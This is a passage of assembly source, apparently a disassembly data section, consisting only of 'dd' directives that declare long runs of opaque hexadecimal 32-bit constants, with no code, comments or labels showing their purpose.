		dd 1809012Fh, 5950A979h, 806DE91Fh, 5A77F31h, 1FF290C6h
		dd 0C73FDBC5h, 0F1F192D6h, 8F4E43AFh, 0C0038629h, 91796A08h
		dd 0C0653045h, 0DF5E6119h, 0E8251D00h, 6E144074h, 75480324h
		dd 811A2D01h, 4D1E290Fh, 0B059CA63h, 879EE6C0h,	0A12B0F34h
		dd 2D044457h, 32DF40D8h, 0CDEFCh, 0D0D5DD16h, 0B4B69555h
		dd 0AC56E9A0h, 9D724500h, 6233153Fh, 0E4370192h, 0DD2D30E6h
		dd 41D050B5h, 0A8A63473h, 0ECA5ED1Dh, 60F743C0h, 0C7C52B45h
		dd 0B04E971h, 3A12BA01h, 0D385E8B4h, 0A15C3473h, 43770258h
		dd 4003582Eh, 7ED19D50h, 15E6880Bh, 1C8AA600h, 655E63DEh
		dd 8F71CF82h, 6C0E8489h, 0BD27E9E0h, 78188505h,	0BF79B782h
		dd 39FD0458h, 0C21E7A37h, 95208B18h, 0EED1C5DAh, 3B100036h
		dd 0D689DCFBh, 80E94FC1h, 64587461h, 2F1508Bh, 60F0A9E9h
		dd 0C484A3DCh, 9A074621h, 0F63207A9h, 9F5A5D59h, 0DF0700D6h
		dd 36183825h, 6E757F13h, 87BB2C04h, 6C005E09h, 9FA7D9A8h
		dd 36978800h, 0E6DC4CB3h, 3CA57D13h, 0DD09B652h, 9421A14Fh
		dd 0D8EA5F99h, 503821B5h, 569E00A2h, 7C79C674h,	0C3427E97h
		dd 0ED7198B4h, 50CE2EC9h, 166F4B84h, 9B0077FCh,	118250B0h
		dd 3B9E73Eh, 0E9549862h, 80859497h, 414A7509h, 0A9D439C4h
		dd 307BC4C8h, 1F19BDFBh, 3E74875Eh, 6D4B2C00h, 8B72B716h
		dd 19A50022h, 42FE61D3h, 94983E79h, 8424C84Ch, 70228C5Bh
		dd 2B552D20h, 64280081h, 9CD7DD10h, 0E80F6A56h,	2076AA73h
		dd 0C75FA713h, 0B574169Bh, 63182064h, 900E66DEh, 0E8D9D28h
		dd 5F2AA708h, 0AFF64670h, 2D750CADh, 0C7317C04h, 84401E24h
		dd 0F300DB11h, 75BCA70Dh, 8CA013A0h, 3E306296h,	2263C0B4h
		dd 0F10301A8h, 2E6E70EBh, 0CF3980D0h, 561167CBh, 294B0327h
		dd 5C075C8h, 5CB55E80h,	0D80B5000h, 0E6459290h,	0C014F397h
		dd 0CD2DE844h, 4EA111C0h, 1F339BF1h, 852A1BFCh,	8167285Eh
		dd 9C64084Bh, 0D70159B9h, 7FF14075h, 0AA5ECB00h, 9C8A9F09h
		dd 84DC0141h, 0B8222E89h, 5722FB00h, 4FF5A287h,	66DA0A0Fh
		dd 0F11EC0E6h, 7A53B737h, 7B38002Eh, 0D468861Ch, 5988880Ah
		dd 2D940964h, 3C2302F2h
		dd 79005098h, 0CF073BFh, 0C2D392Fh, 7B0D1FC5h, 0AC004A39h
		dd 728ABDE1h, 288453h, 0F87CC496h, 0E459C72Bh, 0F4A91326h
		dd 81BEFD08h, 277407A6h, 98686001h, 0C7409289h,	4CED9A99h
		dd 6E00A0F1h, 6DFFD207h, 8FB8E7A8h, 6C24B71Ch, 1D9927D8h
		dd 0FF63004Ah, 0F24F9433h, 3B06DD8Ah, 8E4E531Fh, 0E0FA0059h
		dd 0B978D99h, 0D9057F5Fh, 41065725h, 64E6E881h,	83821C32h
		dd 44041DDDh, 0ED819F41h, 58A7E501h, 4CB8778Ch,	18A65575h
		dd 8FC68801h, 0E91598F1h, 2EBA23FEh, 69132101h,	8E205306h
		dd 0C1C2C0h, 0F64233E5h, 0D039AD83h, 0B4A24624h, 0C9F1EE1Fh
		dd 3C405998h, 9F4021Ah,	0C41DC51Fh, 7052BC00h, 0EF285F71h
		dd 0B34801h, 3E0E9505h,	225E2488h, 790F824Eh, 0C0667387h
		dd 917B26A8h, 11D30B4Ah, 90B7F4h, 0CC7DDD41h, 0A5E0A600h
		dd 0E76ACD2h, 0D59B001Fh, 0D97BF2FEh, 59B8F479h, 0A7077090h
		dd 60DD730Fh, 965B9721h, 0A207498Ch, 99E0B991h,	0DA341C00h
		dd 26A1484Ah, 599700C6h, 65DDCAA8h, 0C11C192Ah,	88DD9EDCh
		dd 62E2FC07h, 0B89858D5h, 1DF20015h, 5C7568C3h,	0EE001944h
		dd 0BEF75EC5h, 8E654F22h, 991D822Eh, 1034E609h,	0B36449Ch
		dd 6E9D11FCh, 0C9B1EF80h, 0A01D6E9h, 0DBC44B25h, 0EAF88830h
		dd 7916007Dh, 34519854h, 3C002477h, 0C6B17EFFh,	0E26BB4h
		dd 0C8DFE9E8h, 0D51F665Eh, 0C90022EEh, 0AF96CA4Eh, 386D4462h
		dd 38E12CE0h, 0D1431CB4h, 0C42FC0DEh, 0FD30DA01h, 0CA24C60Dh
		dd 14472DE1h, 0CCD67F90h, 232E00E3h, 0E4BC5FCBh, 4500DFB9h
		dd 0DCA3D2A0h, 18F7B6EDh, 990F19FEh, 0FA60B107h, 0C3D33B40h
		dd 174E0C81h, 43C40F52h, 0F9E92A00h, 49C507C0h,	1F28C080h
		dd 0D29DF52Fh, 30D44E06h, 18C383h, 1E3420FFh, 15AE7D98h
		dd 0D51DEA01h, 2317016Dh, 312D718Ch, 4F0034B1h,	0B0D52280h
		dd 536897h, 0D49BFC7Ch,	498F90B5h, 1D4029DEh, 1AE09448h
		dd 0AB383ED0h, 9C70FE30h, 31180FF6h, 0DE81977Eh, 92A200AFh
		dd 55E541CDh, 3AEC56DFh, 443F4A02h, 6064C3E7h, 7A7380h
		dd 3480375Bh, 0AA89FF43h, 19023B0Eh, 38A999BCh,	9BB75A10h
		dd 0D9F7A600h, 0BF78CB6Eh, 0FE5E0018h, 3BBDC3BEh, 38008760h
		dd 0F515913Ch, 15E049B3h, 98312AE4h, 0F4750700h, 0A124BBC8h
		dd 0FDECA201h, 6FBC9C35h, 6E48ED8h, 96317DCFh, 9301C9F5h
		dd 9133B597h, 89BA4730h, 10C29894h, 19438F18h, 0B690EF40h
		dd 0D4B8B089h, 5624A56Bh, 0D11401Bh, 82E1007Ch,	66552B35h
		dd 0FD00F91Ch, 13AFC5CBh, 805DBDh, 65FF1D37h, 2CDEB3A9h
		dd 0E94444h, 58AF0549h,	278BBF61h, 0A410218h, 0C072D459h
		dd 8769F0Ah, 0A30A7BBAh, 0E027E01Fh, 9475DA40h,	9F7839ABh
		dd 0B0A62Ah, 9AA7BA9Bh,	8F0C76C4h, 0F0D7EE00h, 70BE6FE3h
		dd 1AD103E7h, 23D5537Dh, 893B491Dh, 0B8882A42h,	8DFCA468h
		dd 4080794Ah, 0B6979F2Ch, 1F24AB03h, 1488B91h, 0EDD9BB41h
		dd 5238B206h, 2080ACCCh, 11A1A8C6h, 0BC4ACE00h,	0EAF5AFEEh
		dd 0F9840086h, 85CC5C77h, 0F31E969Eh, 8C019C07h, 7A29AC1Dh
		dd 0C0806842h, 0D7F078h, 2F69AEBBh, 4C420406h, 0F578C4A1h
		dd 3A5D0030h, 0C10CE202h, 17C907B1h, 40AC257Fh,	48D4AD58h
		dd 0DDD380h, 9C50A040h,	0C0C2BF07h, 23C5706h, 0D79B50Eh
		dd 99AD2B38h, 521AF140h, 0AF30C82Ch, 945C01A9h,	879E2095h
		dd 8C34DD01h, 29022318h, 9B0A07C2h, 105A7441h, 0AAEB80C3h
		dd 8EEA0101h, 96AC3542h, 0DAE4FF00h, 1C504800h,	6017D65Fh
		dd 0B10A18D5h, 0DC01218Eh, 7C079470h, 0F1EE45DEh, 0F5732047h
		dd 0E5AA81A2h, 64204AD5h, 9B49448Ch, 0DF00E778h, 40D338F2h
		dd 0E0A1D0h, 924901D1h,	6F94A9E5h, 45B3C900h, 0CBFF32DFh
		dd 0F1206079h, 770994Ch, 8DF03Bh, 0FD7CF3BBh, 0F48EFE2Dh
		dd 42E80050h, 5AE1EA45h, 0E358877Ah, 3AF9601Fh,	1CBA5E2h
		dd 5973034Ah, 222DA895h, 943500B0h, 0FA1CB676h,	5FD40CC0h
		dd 1BE993B7h, 0E38BF74h, 0A87E77EAh, 16485400h,	6051EFC8h
		dd 7A721359h, 1C8C01D8h, 207CB884h, 0BF3D8C90h,	0D4E6099Bh
		dd 0E02C135Ah, 302BDF32h, 0E1618098h, 381FEE8Ah, 1F0AB90Dh
		dd 9C007877h, 0F793CC13h, 0A98E00F9h, 3B36FD35h, 51031872h
		dd 25E63C9Eh, 4C0DE005h, 698309D5h, 402E934h, 0DC61A196h
		dd 0A2F17092h, 8C800490h, 333476D3h, 2CCC603Eh,	272800E6h
		dd 4FC96DB8h, 0A10F6F43h, 20825216h, 0FEFC0B8Fh, 9B767D42h
		dd 29A80F0h, 30510B54h,	0F633D100h, 8782D9FBh, 5C0F14BDh
		dd 9A80C026h, 0CEEEC94Dh, 15DB5306h, 0FFA0E46Eh, 0DF008833h
		dd 9A22380Fh, 8602E0E8h, 8770A2D5h, 24984657h, 618C1002h
		dd 8098ACA2h, 3FC1E941h, 17BF688h, 0B3E5E642h, 64D4AB30h
		dd 0E400DE84h, 9722465Fh, 16E21726h, 1FBC4D1h, 62A7A928h
		dd 56402039h, 98A69928h, 0CF248F00h, 1F618A86h,	2C47130Dh
		dd 0B9E0607Eh, 34378733h, 0F3F22828h, 2A8C82DDh, 0A0F0AF2Fh
		dd 703CABADh, 0AAEE0124h, 7629D92h, 8A69E4EAh, 0F8E3B324h
		dd 0A679D204h, 0C2934440h, 0AE76E45Ch, 2B926C00h, 0B8B0B382h
		dd 380B0C8Bh, 0A0611B26h, 8648900h, 17294C59h, 0C0FE3Ch
		dd 79BC7C92h, 0F48A2671h, 0DCB6840Ch, 0E9076941h, 0E9DAF000h
		dd 6D035471h, 7036D49Dh, 9CA23B83h, 0C506DF84h,	0E030C815h
		dd 0AF9442F5h, 0D8393056h, 13DB8110h, 6FF83DD3h, 43C614C7h
		dd 0FC02988Ch, 0D9DEAFCDh, 48038041h, 0DC00045Ch, 85D0A3Dh
		dd 0BE64BFh, 0F37D95ACh, 72B6A752h, 0A130D8B5h,	5313480h
		dd 7888AC14h, 0E1D80301h, 0F8566755h, 0C97684D7h, 96A89F8Ch
		dd 0FD593440h, 0B846F5E1h, 2E9BF800h, 3F20E784h, 5497910Eh
		dd 575CD380h, 38C07C96h, 0F87E6894h, 0FC4B1DFEh, 20849A9Dh
		dd 53B58861h, 363D5DD0h, 786EB5D0h, 8500288Bh, 548DB3Ah
		dd 2F7456C0h, 0E1EB1904h, 0A3C09846h, 3BB7740Dh, 361353D8h
		dd 5A44235Ch, 399FDF0h,	38C0F728h, 21462D30h, 340F09Eh
		dd 0BCA5C549h, 1482E726h, 76E7C98h, 0DFA60101h,	9415DA8Ah
		dd 41932DD1h, 222B1330h, 0A02E0FA8h, 0E7C7510Ah, 0E09D00B7h
		dd 14E41906h, 1D039E4Fh, 0AC9C160Dh, 0CA39009Bh, 3DC3362Ch
		dd 1509A02Bh, 51A3C61h,	0C4893588h, 0D5878881h,	0DBBF9FC4h
		dd 945149CAh, 9C655500h, 357FC6Ch, 76D204C4h, 3B9AB926h
		dd 0FC8B1141h, 0F8B17A17h, 0DC3DBF3Bh, 162C7EC3h, 56087C60h
		dd 15942680h, 5281800Bh, 74FDCA07h, 0BD023428h,	0B2C02BF6h
		dd 0D37C98B5h, 296B859h, 0D571FAEh, 30624FD9h, 7682818h
		dd 1704B243h, 8C1F5077h, 8B001580h, 7DA27CFh, 2E78E20h
		dd 32E1D023h, 70C03404h, 66153A1Ah, 3904A2Dh, 1BD5128Bh
		dd 3077E9B1h, 30C3CC20h, 3B21452Dh, 73009044h, 85EFEEECh
		dd 9A224A4Eh, 24C9044h,	3090B760h, 0EC91FCE3h, 227042A9h
		dd 4F597121h, 66A0D8h, 4046AA3Dh, 0F3CB97FBh, 676EF502h
		dd 0C07D7F2Eh, 6905AB04h, 0B89840B3h, 1F00D77Ch, 285BBEACh
		dd 0F3142Ah, 194DCA12h,	84CDF0B6h, 0AC743B24h, 0D090AC12h
		dd 0FBF137h, 0E7C66B06h, 91604682h, 0D50B1C13h,	6CF02003h
		dd 2B78209Eh, 69C944h, 6B5A1435h, 0A5B6F4BCh, 6EA1C500h
		dd 24934B8Eh, 26071305h, 2872004Dh, 15387AF4h, 1B305961h
		dd 23D074EFh, 0E5FA005Ah, 89D2AA0Dh, 0B3037728h, 51F50A3Ch
		dd 10F9C337h, 8547038h
		dd 867BC518h, 80241522h, 8C8A590Fh, 0B585A0BAh,	0C0F3556h
		dd 0EC62EA70h, 1B888141h, 472219DAh, 0E214211Eh, 353D702h
		dd 82E4C72h, 51001E23h,	0BA73A19h, 54E201D7h, 212A9037h
		dd 0F0798014h, 0C4748B33h, 0F9E6025Dh, 12DA18D3h, 48AD5087h
		dd 54C92C00h, 4FEC1B6h,	410E30Fh, 0EB8C3BBh, 0F8BAC4B1h
		dd 0CC0666D9h, 0BDF4C618h, 397C1538h, 1B01B026h, 421F870h
		dd 1465D077h, 696AC530h, 5CF1D74Ah, 180A979Eh, 0C5DD0h
		dd 65F9A3DCh, 57602FEFh, 62DDE2D9h, 0DF3C0CE3h,	35602AFEh
		dd 9B691960h, 3AB399h, 50893163h, 0DDAF521Ch, 0DE2A4B00h
		dd 0DF3D2701h, 1C2B531Ah, 8E741C00h, 61C1C8DDh,	0E200A175h
		dd 4A734089h, 0C8AF01ECh, 14A6B670h, 7A917619h,	0F60AE44Ch
		dd 0A318015Dh, 1CEEC6A4h, 55F8815Eh, 0B4A7D706h, 0B7BE9041h
		dd 0A6644B00h, 0DF970C00h, 3E4A7448h, 1DEB00A5h, 3FE20BE6h
		dd 0E101C992h, 29DB373Dh, 76D0877Bh, 845650EBh,	64C903Fh
		dd 2FEED5D7h, 0EF2A919Fh, 3400A079h, 0D908B8F0h, 67DFECFh
		dd 0B482A14Bh, 0D15583Ch, 0F0B321h, 0A6D7F156h,	5E248h
		dd 0A87EBC95h, 0B9AD9E1Ch, 7A168000h, 6C378DCEh, 397B152Ah
		dd 0D8409C0Fh, 377C885Fh, 0F1E1ACABh, 0EB0230CFh, 23B29CA0h
		dd 8B57AA88h, 47EEF5DFh, 82AD0E08h, 0E52F3E92h,	1C0EB9F7h
		dd 3B509191h, 34E90E52h, 19F9355Dh, 0CFB07EF7h,	0E7FF0033h
		dd 46A786DCh, 21C01634h, 0B90CBEBBh, 0C9A00E70h, 0C6C36E4Ch
		dd 49D07F35h, 0CF0319E7h, 0BD14409Ch, 0CED10568h, 0D918DCh
		dd 0AA3B7308h, 0EF1D690Eh, 0B93087A6h, 0B006A5F7h, 6023B0C1h
		dd 5251A950h, 2E05E6E0h, 76A5EECEh, 88B16C48h, 0E4800E35h
		dd 0AEEEBB92h, 569D0096h, 6A4ACA34h, 7B1CC003h,	24BC1E7Fh
		dd 0EF631092h, 96990043h, 0E18F372Fh, 0A401F557h, 4E62D3C4h
		dd 0C440DC1Bh, 247974C6h, 4354E93Dh, 797E1235h,	0CF21A903h
		dd 10537733h, 296AA3A8h, 0E507ECEFh, 0C7F09224h, 0D127D3h
		dd 46C0DC33h, 3D5B645Dh, 0D4BBFC29h, 0BE508C08h, 19B7F819h
		dd 7A5C5093h, 300054EAh, 0F1C49E49h, 0DEDCCAD1h, 3E0382B1h
		dd 0B448DAFCh, 3D446E65h, 0C6C00018h, 20EA910Dh, 0E00ED9B0h
		dd 3425192h, 51C972AFh,	48123AB9h, 0F71A1CA3h, 4119E251h
		dd 0A010EE74h, 827E1703h, 0CEA4A200h, 0DDB69605h, 6C2004ECh
		dd 0DC241C22h, 0F079E11Ch, 974CD500h, 0C85CD2CFh, 63B6014Ah
		dd 1C7802F1h, 0DE404357h, 986441A4h, 7960AA9Ch,	7C94E445h
		dd 80E09B14h, 0A08E82CDh, 911302E7h, 8031DF7h, 0A8F879C4h
		dd 248BF37h, 7B011864h,	4CCBCD38h, 1368BBC1h, 228A9B72h
		dd 3530D978h, 864D6920h, 6E250045h, 3DA8F2Ch, 5F005EB9h
		dd 218EA07Bh, 13DF72E6h, 343B0A92h, 69F48070h, 0FC03DE90h
		dd 5D8627BCh, 1BC0B9DFh, 29380030h, 806459C7h, 0BE74FF7Ah
		dd 0C1009FB0h, 0BAF20A44h, 983DDEFEh, 0D0CF02FCh, 0CCD4E6A0h
		dd 30A4B843h, 49AD92DDh, 2200645Eh, 2C3D64FDh, 0DA0005EDh
		dd 0EF27B302h, 58243E58h, 0EC06C0Dh, 0F6E74128h, 0EF063F00h
		dd 32750416h, 0E8EE01C5h, 19B4DCDAh, 7FFC4821h,	0CAAD9500h
		dd 878DC52Ch, 1BF7E35h,	0EBD5A2BDh, 12275420h, 0C8E42114h
		dd 521BEC8Bh, 0DDBF407h, 4E622944h, 6C284215h, 35E49258h
		dd 0D9C23Ch, 778B986Ch,	0E132AB49h, 231B30D6h, 290075EFh
		dd 6A31C670h, 3D49F1D1h, 7B16EB3Eh, 0FB800BDFh,	4E46405h
		dd 88646E28h, 8F8842DCh, 837207E2h, 64681178h, 7A50C01Fh
		dd 83F33A7Ch, 0BBF9AAC9h, 4A8FA0F2h, 5C4B51F6h,	28928020h
		dd 228EECCh, 0B9A5244Eh, 8C6012E4h, 3893B81Dh, 0B7356702h
		dd 0D9444845h, 0A722886Ch, 299EA9C0h, 6555C8h, 8057E53Ah
		dd 0DDBFBA3Eh, 0C55C4E06h, 991B34h, 3744F8EDh, 1657E6D3h
		dd 0E7DA2500h, 0EF993FD5h, 5F11D29h, 0D00B5843h, 0E38B2731h
		dd 72EED0B7h, 0D5C9C087h, 0FFED3F25h, 0A389E100h, 12984180h
		dd 22EC00EAh, 954A5524h, 5C44EEC9h, 838F0B19h, 98818EFEh
		dd 80B6223Dh, 0E206F5C1h, 0B7F92DAh, 0AB52EBA4h, 21B10086h
		dd 2005F7Bh, 474DE16Ah,	0B9C3EF7h, 23AE702Bh, 0B79DC80h
		dd 0DE00F5DFh, 3C3D7A2Ah, 92D6CF76h, 9142457Ch,	220626D0h
		dd 61BA8305h, 1089ACA1h, 41DFFAh, 0EA9045D1h, 18F59C7Eh
		dd 33480A00h, 111ADAB5h, 58D0A6Bh, 0A028367Bh, 3B900DCh
		dd 70A13C9Dh, 5E0CF81Fh, 69B00806h, 0FA09922h, 0B1A0269Ah
		dd 46D976A0h, 0C8894D00h, 38AAD675h, 14270AFBh,	85CA4C6h
		dd 728C0E6Fh, 17CBA943h, 4904A8C6h, 488294A4h, 49042413h
		dd 12C164A0h, 8EE0A28h,	7A807584h, 478CD9ADh, 58345854h
		dd 1DA4F480h, 774865FBh, 0A803D22Ch, 0DC34CD05h, 99D7B4A4h
		dd 0A5318E24h, 9C0B298Bh, 48079018h, 0D80D472Dh, 0ADC02E42h
		dd 96540FCAh, 0C9A77B40h, 3630ED52h, 0E6DD08DBh, 213F00BEh
		dd 19075450h, 310088E0h, 36CDD2F8h, 0EE87090Fh,	31DE6062h
		dd 147477E9h, 5AA8E403h, 0A0C0C8BEh, 3054707Fh,	2561AC52h
		dd 840010D7h, 0B7D53ACBh, 5327B89h, 0E86E0115h,	8ACAC021h
		dd 0D90C1DF9h, 38DD22D6h, 5FE11BCDh, 0CBC1682Bh, 0A51987F3h
		dd 0D1E777D4h, 0CF1B1020h, 1E1E7855h, 41C64B7Bh, 0CA76E845h
		dd 0B031B243h, 0F2182CCBh, 0E58C88h, 5D4F0297h,	0E1C399BAh
		dd 71544A30h, 0D6DE760Dh, 0F0403C1h, 1170AB57h,	763BE000h
		dd 9C3FB4F8h, 0ECB60E30h, 0EA4080CAh, 0FA3E7562h, 0DC2FC300h
		dd 6A33D7E6h, 38400324h, 4B26286Eh, 5366E8D8h, 36561600h
		dd 355B1FB6h, 0C5A1000Ch, 6D05C0C4h, 0C9A033CDh, 0BDF03695h
		dd 0BEEC6F03h, 81A1D4C6h, 4C98BF9Bh, 5DDD60EBh,	85001EFEh
		dd 120A5A67h, 0E8DB2E7Bh, 309818C8h, 3FDD8959h,	5F303578h
		dd 2DC611E3h, 34B7CCCh,	0C035C31h, 78013644h, 1FD48BD7h
		dd 118339A9h, 58BFCF2Dh, 93AA2C00h, 0C4BB4D2Ah,	61FC61BDh
		dd 8CF964CCh, 3917AEB9h, 0A8FE0Bh, 0E00CA0FFh, 25FBFA96h
		dd 0F477C50Ah, 8003F85Dh, 90B452A3h, 1830D13Dh,	48D6285Ah
		dd 1844560Dh, 69CF649Eh, 46F28031h, 250E6998h, 40D80BC2h
		dd 489C7841h, 0A745028Fh, 80BDFE67h, 88CEF641h,	80DEB5A8h
		dd 3069C7D6h, 84A8E442h, 7CA84D0Dh, 64AE8DCCh, 0F00ECB0h
		dd 0CBFD4A87h, 3E55304Bh, 70073A0Eh, 1A24F22h, 0C415FA78h
		dd 3029520Ch, 6F0CD041h, 551C9h, 0C41843D3h, 0BAF3FAEh
		dd 3D601506h, 9692FA9h,	0D4C1624Eh, 6CB5D000h, 0DBE20C64h
		dd 0A36B3000h, 65CC7AD6h, 0C451C3F7h, 0D919F6B6h, 0D171F126h
		dd 2272FCh, 6A15C90Dh, 8403DFEBh, 400AFF00h, 9C47C69Eh
		dd 0DEB03B2Eh, 41E51799h, 0EB9313E4h, 68DE05Dh,	0DA580ECCh
		dd 63A531DFh, 0B33C0471h, 690A5FF3h, 244498FEh,	234B1D40h
		dd 1B005C2Ah, 6E7694ECh, 70E3DC02h, 9C5A004Dh, 0CB2C6661h
		dd 36734FC0h, 513863Ch,	313E4033h, 500C8C02h, 0DA9E2339h
		dd 0B9E57100h, 0C302C701h, 1470909Fh, 1421570Ch, 2000C222h
		dd 445A9AAEh, 0E132A32h, 2151A0CAh, 9E68C3C1h, 113F10CDh
		dd 39D002Fh, 4D238E2Eh,	6D3D52C0h, 0CCBF9C3Ch, 360C9440h
		dd 448C6D6h, 31274084h,	1EC08CDCh, 3FFD8C1Dh, 0F3394600h
		dd 495480Fh, 9E36D2B7h,	8ECC42C7h, 0DB94A0D1h, 3E527984h
		dd 5272684Bh, 0BB11ACCEh, 0C6BD00DFh, 0C5B68B38h, 0C27E62Dh
		dd 0B3166784h, 9530CE10h
		dd 653B18D7h, 14BDF8C4h, 0E0989666h, 307CA3Eh, 10A159BFh
		dd 171334C6h, 4E2A4B03h, 0CD570D85h, 14309840h,	0C87E3153h
		dd 0B042FE88h, 0EA2623CFh, 137EE900h, 0F90A8C8Bh, 0B50900FFh
		dd 719E0B7Ch, 28983B90h, 10625700h, 68556C3h, 0DA360FEEh
		dd 59388CCCh, 3019B637h, 6E3E557Ch, 0D71917FBh,	0CF61A092h
		dd 0AA90BE13h, 4FEA5408h, 0BB2058A0h, 10003D6Eh, 0E1645EDCh
		dd 263037C7h, 6068F95Dh, 0C06E34BCh, 94A059C0h,	76044h
		dd 38A785DEh, 0BA8D4BDBh, 8ED76E38h, 0D4BE8FECh, 8B7F80C0h
		dd 0A3E6C87h, 0AE889561h, 5EE90050h, 3483AF6Fh,	0C00CE44Ch
		dd 0A6AB642Fh, 29690E22h, 61406307h, 7FE46586h,	506E939h
		dd 0C39ECB57h, 6141A85Fh, 2A9903B7h, 55C0FFE1h,	0ED6E0010h
		dd 0C5EA48B5h, 79D2C86Fh, 16C2AF00h, 1C45CD8h, 46BC4A03h
		dd 0A0CD2667h, 59228088h, 440D28E3h, 0E5A08158h, 4441C712h
		dd 27F410C0h, 310C0039h, 7E014AA7h, 26E6293Fh, 0BD310D60h
		dd 3C49931Bh, 0C68F321Ah, 0D586D228h, 462270B3h, 48C400E8h
		dd 20385E75h, 0F03B4ECh, 6E21BC36h, 588900CBh, 0D0D241A4h
		dd 0C00F97Dh, 6879489Eh, 0F0BD8B92h, 5835504Bh,	0D038440h
		dd 52BE839Ch, 1047E136h, 206F1992h, 95ADCA18h, 0CDA8B513h
		dd 42C24C08h, 2623C3B0h, 0DB39000Eh, 804474E5h,	5B29B93Bh
		dd 8342EC25h, 5E392486h, 773DFAC0h, 3548ACFh, 0DC09156h
		dd 21182E45h, 0BB69C99Eh, 0C17200D5h, 1C300A4Dh, 0F1007B49h
		dd 0BF86769Fh, 128DE0Bh, 25D69A84h, 42DD8B0Dh, 7520EB50h
		dd 7E295B2Bh, 6F7C03E5h, 0DC031623h, 3068FA99h,	0B1C6D662h
		dd 4130AEh, 0B93C4CC1h,	0BFE7E3FCh, 543BED1Ch, 0CB418580h
		dd 0A0D573E0h, 60262DD0h, 8EA369E9h, 690011B9h,	0CD43C88Ah
		dd 220AB4Bh, 1DA25024h,	84C4CF34h, 8F501354h, 5508D400h
		dd 540B8A16h, 0F4B1EB9h, 30858306h, 2902E25Bh, 468356C4h
		dd 5EE06092h, 0A1A3EC40h, 0AE11FFD0h, 4CBC482Ah, 8307F412h
		dd 35B13C30h, 0FD011E10h, 66E64012h, 62CC9BDBh,	0AE39E463h
		dd 4F410023h, 0DA927A8Bh, 9700DF9Ch, 0E168A4A0h, 14D64D95h
		dd 2C4C305Ah, 31502874h, 0A5BE0B6Ch, 891B2C4h, 9E6890D5h
		dd 1427D810h, 9DF0BEC4h, 4C6BF041h, 68D0F445h, 37B53FB2h
		dd 9EEA1CFCh, 5D9840CEh, 74530508h, 0E9CA28C0h,	0D460C3h
		dd 25524DD5h, 24C56188h, 0C1491704h, 0AA036E08h, 0A9D8FD8Bh
		dd 0BE302F8Ah, 3CE169D5h, 0BA4B00F4h, 46D98D56h, 1001F05h
		dd 74BFC0A1h, 38478F65h, 0A480AB79h, 0B71A28C5h, 40C0CA51h
		dd 94531F75h, 7A9807FBh, 0E186D7DBh, 70A74BB1h,	0A206EA52h
		dd 0C8BE9AE8h, 97D30071h, 0B33F3EB0h, 4A0023E1h, 0F0C54967h
		dd 0DE411FEFh, 0CDC00C58h, 0F53AF131h, 0C619624Eh, 0EDCD20C9h
		dd 1B016FB3h, 0AA05A773h, 29815713h, 0D26C9227h, 29B2F076h
		dd 0F028E700h, 49257F20h, 54AA0667h, 30404D46h,	0EFC1783Bh
		dd 0AD90F9D1h, 4D112088h, 0BC00A328h, 0D07AEAA7h, 192E8A88h
		dd 299324C6h, 3F121169h, 30848180h, 1E65664Fh, 0A84CC900h
		dd 31D46805h, 1D7FC82h,	1A2CC47Fh, 41F1DC49h, 174AEF74h
		dd 40A826E6h, 4D44101Ch, 0F05D45CCh, 8FE96C74h,	1232FA1h
		dd 0D8DA4948h, 83F92842h, 759B748h, 0FA6FB839h,	0ED70A017h
		dd 0C3F49A12h, 2CC55303h, 755B762h, 4B71E429h, 1720A036h
		dd 3C018391h, 0F73FB19Ch, 30208E70h, 6AA98022h,	0C07A5380h
		dd 62E1B291h, 0C5005A2Fh, 90F3FF33h, 30D75E5h, 0EBCA2B4Bh
		dd 0F02A4266h, 4930BC0Ah, 3E4579C7h, 7A6632EAh,	0B7225A20h
		dd 0B3002F43h, 9345EBC6h, 0F3D28C9h, 2C29781Ch,	4610254h
		dd 0EBF1052Fh, 0B1D8096h, 600010D1h, 0D2423F9h,	7E087AABh
		dd 8CC90544h, 0C38BC8ACh, 40E7B7CEh, 938D31D8h,	0C122B0A4h
		dd 2E7888D6h, 0F2F300A1h, 1F8C1A3Ch, 0D7004DC5h, 151D25C4h
		dd 0F2A1EBFEh, 317D6153h, 0F439F7A4h, 49008C2Ah, 2388A6A7h
		dd 1242C298h, 44B3FDFCh, 0AB4ED30h, 0FE40F4DBh,	242F38Eh
		dd 91816B43h, 4848EFE7h, 0B8CEDFD8h, 21FCAE84h,	60B7954h
		dd 4C132420h, 0E2CE2C9Ch, 0B42A6960h, 0C30007EDh, 164AF296h
		dd 9287E335h, 85CF20C8h, 87481A48h, 0C3E00BD8h,	5278A926h
		dd 540DA8D5h, 0F3A17071h, 12F831D6h, 0BA012174h, 41037F98h
		dd 80CE7554h, 2B89D964h, 0BD5A24CFh, 1EC54080h,	300D557h
		dd 8297EA58h, 3D4EFB8Ah, 4929F522h, 266A80A0h, 613D05AEh
		dd 5DB2D900h, 312FE646h, 0C8231D58h, 4C8FBDA1h,	0F1A198E9h
		dd 245C15EEh, 4B885E04h, 1E800B6h, 97E6077Bh, 24137550h
		dd 2807532Fh, 2312593h,	318057B7h, 0A8D7D1F7h, 7E044F88h
		dd 895E02Fh, 7F8AA880h,	0F0493A7Ah, 430FCA6h, 0C8BD4303h
		dd 750E5360h, 0C759ABF8h, 2C77380Dh, 0F9F0DF41h, 46BD180h
		dd 0BBEC7426h, 73188503h, 0CCFC249h, 4312AA41h,	3A1D5E29h
		dd 0D802B99Bh, 0FF678D38h, 33C9B641h, 271230Ch,	95EDF02Dh
		dd 5AB7A048h, 0F3029C0h, 7612323Eh, 76EA02C6h, 77247DD9h
		dd 46C84A4h, 0CC8CD449h, 50C3F0BAh, 44134CEDh, 0A3000F3Ah
		dd 43F56069h, 0FA9FA9DBh, 4DA80E5Ch, 0E1A0119Eh, 4B128541h
		dd 0FFA431C0h, 5EC8F2h,	5AA92567h, 20BECC3Fh, 0A70184AEh
		dd 2C5BFE0Eh, 7980F3BDh, 0D7A4FA39h, 0E5F2137Bh, 98D8F824h
		dd 90863100h, 2EF7F2Fh,	8A809D60h, 0FC60252Ch, 0CE60BC7Dh
		dd 0FC7EF841h, 2E8700BBh, 0BA9ABD40h, 2013AAA4h, 0AC142F88h
		dd 42CCC868h, 0B4828126h, 4E05C863h, 8B209406h,	63C90A8h
		dd 0DD490279h, 409069C7h, 0B8C214E9h, 65AF23DCh, 26A0BCEBh
		dd 2C00E5C7h, 1FCF0B8Ch, 0EE0534D0h, 13BEB072h,	0E68E4Bh
		dd 0DEA47F48h, 0D70163F8h, 498BDA1Ch, 3440CCD8h, 54549C28h
		dd 86CF5C72h, 0E58B9902h, 802F60B6h, 61291FF7h,	8A970063h
